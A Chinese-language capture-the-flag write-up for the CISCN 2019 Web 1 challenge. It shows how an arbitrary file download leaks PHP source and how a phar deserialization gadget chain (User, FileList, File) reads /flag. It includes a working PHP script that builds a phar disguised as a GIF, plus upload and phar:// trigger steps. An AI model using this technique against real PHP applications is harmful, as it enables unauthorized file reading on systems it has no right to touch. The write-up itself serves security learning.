[BMZCTF]-CISCN_2019_WEB_1

[BMZCTF]-CISCN_2019_WEB_1
這道題目先注册一个用户登录进来吧

登陆后只有一个文件上传功能，而且限制了只能上传png，jpg，gif文件，其他的一律不允许，文件上传的一些绕过经过初步尝试是无效的，而且上传之后文件的存储路径不知道

这里可以注意道，他这里还提供了个文件下载的功能，那就说不定可以下载任意文件，这里直接抓下载的包然后尝试一下下载，成功拿到源代码

最终一共找到这么几个页面的源代码

看到了好几个魔法方法，果断全局搜索serialize

有点可惜
但还有phar，phar受影响的函数较多

最终是发现了file_exists

直接跟过去发现它是在file类的open方法中被调用了

然后再跟过去发现delete方法和download方法都调用了，那触发点算是找到了，但需要注意的是在download.php中，设置了目录：

而只有delete.php中的目录是在题目给定的文件上传沙盒中的，故只有delete操作能直接phar://触发反序列化。

接下来构造反序列化利用链，先找可利用函数，file类中的close方法调用了file_get_contents

这里要注意的是close()是File类的方法，而File类只在Filelist类中有调用过。但Filelist中并没有调用close()方法的位置。此时需要注意Filelist类中的两个魔术方法之一：__call

它将Filelist类中的files数组全部遍历了一遍，并执行对应的func()结果被存进result。之后的__destruct()方法则会将result等等结果打印出来。
这一条利用在于：确保了Filelist的对象如果能借此魔术方法调用close()方法，那么它最后销毁时析构函数会打印出我们需要的文件内容。

之后再次审计，注意到User类的__destruct()方法

原本只是一个同名close()函数，但是此处却存在着可利用之处。假如我们的文件上传的是User类的对象。销毁时自然会执行close()函数。但如果把db设置为Filelist类的对象，那么db->close()执行时将找不到close()函数，进而执行其files数组里的每一个函数。那么如果files数组里是存在同名函数close的File类对象，就能成功执行文件读取。

<?php 
class User{
	public $db;
}
class File{
	public $filename = "/flag";
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
    	$this->files = array(new File());
    	$this->results = array();
    	$this->funcs = array();
    }
}
$a = new User();
$a->db = (new FileList());
echo serialize($a);

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将生成的exp.phar改成exp.gif上传，然后在delete页面改成filename=phar://exp.gif

参考文章：https://www.jianshu.com/p/ca36dfed3fdb